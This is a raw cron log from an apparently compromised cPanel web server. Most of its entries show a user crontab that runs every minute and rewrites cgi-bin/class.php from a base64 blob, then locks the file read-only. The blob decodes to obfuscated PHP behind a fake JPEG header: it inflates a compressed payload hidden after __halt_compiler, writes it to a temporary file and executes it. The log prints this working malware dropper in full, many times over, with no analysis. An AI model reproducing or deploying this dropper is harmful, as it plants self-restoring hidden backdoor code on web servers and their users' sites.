Nov 14 21:03:01 server CROND[15408]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 21:04:01 server CROND[16342]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 21:05:01 server CROND[17280]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 21:05:01 server CROND[17281]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 14 21:05:01 server CROND[17283]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 14 21:05:01 server CROND[17282]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 21:06:01 server CROND[18296]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 21:07:01 server CROND[19061]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 21:08:01 server CROND[20064]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 21:09:01 server CROND[20987]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 21:09:01 server CROND[20988]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 14 21:10:01 server CROND[21745]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 21:10:01 server CROND[21746]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 14 21:10:01 server CROND[21747]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 14 21:10:01 server CROND[21748]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 21:11:01 server CROND[22701]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 21:12:01 server CROND[23601]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 21:12:01 server CROND[23602]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 14 21:13:01 server CROND[24462]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 21:14:01 server CROND[25160]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 21:15:01 server CROND[26119]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 21:15:01 server CROND[26121]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 14 21:15:01 server CROND[26120]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
